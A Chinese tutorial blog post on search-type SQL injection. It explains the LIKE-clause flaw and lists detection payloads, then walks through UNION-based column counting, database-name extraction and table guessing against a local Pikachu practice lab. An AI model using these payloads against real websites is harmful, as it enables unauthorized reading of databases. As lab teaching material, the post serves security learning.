首页 > 数据库 >搜索型sql注入

搜索型sql注入

时间:2022-12-11 13:55:05浏览次数:52  
标签:username search name sqli 搜索 sql 注入

1.搜索型注入漏洞产生的原因:
  在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入。
2.搜索型注入的类型:
  同其他注入类型相同,由于提交表单的不同,可分为GET型(多出现于网站上的搜索)和POST型(多出现于用户名的登录搜索匹配),搜索型注入是国内系统中普遍存在的漏洞。
3.原理分析:
select username,id,email from member where username like '%$name%'
这句SQL语句就是基于用户输入的name的值在表member中搜索匹配username,但是如果输入 'and 1=1 and '%'=' 就变成了
select username,id,email from member where username like '%'and 1=1 and '%'='%'
就存在了SQL注入:
username like '%' 就是匹配任意值的username字段
1=1 and '%'='%' 这两条件均为真,且无筛选功能
因此等价于上述sql语句等价于:select username,id,email from member即显示了所内容
4.搜索型注入的判断方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
根据两次的返回情况来判断是不是搜索型文本框注入了

下面方法也可以测试
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
实例讲解:
源码:

一,猜字段
可判断有三个字段
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' order by 3 --+&submit=搜索

二,爆字段
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,3 --+&submit=搜索

三,爆库
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,database() --+&submit=搜索

 
四,爆表

 
五,爆列

六,爆字段内容

 
其他方式
(1)猜字段数
可以判断字段数为 3
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3,4 and '%'='&submit=搜索 #报错
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2,3 and '%'='&submit=搜索 #不报错
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %' union select 1,2 and '%'='&submit=搜索 #报错

 
 (2)猜表
127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name= %'and(select count(*)from users)>0 and '%'='&submit=搜索
更换users,不报错就证明数据库中含有这个表

标签:username,search,name,sqli,搜索,sql,注入
From: https://www.cnblogs.com/IronMind/p/16973627.html

相关文章

  • MySQL卸载的方法
    1、卸载电脑上的MySQL2、接着在电脑上搜索regedit.exe进入注册页面,按路径搜索HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\eventlog\Application\Mysql,删除Mysql注......
  • MySQL空间函数ST_Distance_Sphere()的使用
    MySQL空间函数ST_Distance_Sphere(g1,g2[,radius]):返回球体上两个点和/或多点之间的最小球面距离(以米为单位)官网(​​https://dev.mysql.com/doc/refman/5.7/en/spatial-......
  • Alpha-Beta搜索很简单
    基本搜索方法——简介(二)代码:/*d=3a=96b=-69BCDEd=2a=69b=-96FGHId=1a=96b=-69MLKJeval=7-7(v)>=-69(b)ret7(v)>=-96(b)ret-......
  • 慢SQL
    慢SQL目录慢SQL一、慢SQL概念2、参数3、配置3.1、slow_query_log3.2、slow_query_log_file3.3、long_query_time3.4、log_output3.5、log-queries-not-using-indexes3.6、......
  • sql service重新安装
    sqlservice重新安装经过sqlservice算是一个遗留的问题了,是在搞有关权限问题上出了点问题,然后不知道怎么回事自己弄蹦了,好吧还安装不上了,那个报错是啥我忘了跟我下面遇......
  • MySQL 聚合函数初探
    MySQL提供了许多聚合函数,常见的如sum,avg,count,min,max等。那这些聚合函数在MySQL底层是怎么实现的?聚合函数(AggregateFunction)实现的大部分代码在item_sum.h和item_su......
  • MySQL8.0登录提示caching_sha2_password问题解决方法
    背景用​​docker​​构建mysql容器后连接遇到以下问题问题Authenticationplugin'caching_sha2_password'cannotbeloaded:dlopen(/usr/local/mysql/lib/plugin/cachin......
  • go 的 wire 依赖注入
    go文件packagemainimport( "fmt" "github.com/google/wire")varDbSet=wire.NewSet(NewDb,NewDao)typeDbstruct{ connectstring}typeDaostruct......
  • postgresql 数据库最大连接的问题
    今天访问postgresql数据库时,突然报错说是最大连接数已满。百度后使用下列命令查看:showmax_connections;--查看最大连接数SELECTCOUNT(*)frompg_stat_activity;-......
  • 深入理解 MySQL 的事务隔离级别和 MVCC 机制
    前言我们都知道MySQL实现了SQL标准中的四个隔离级别,但是具体是如何实现的可能还一知半解,本篇博客将会从代码层面讲解隔离级别的实现方式,下面进入正题。事务考虑这样......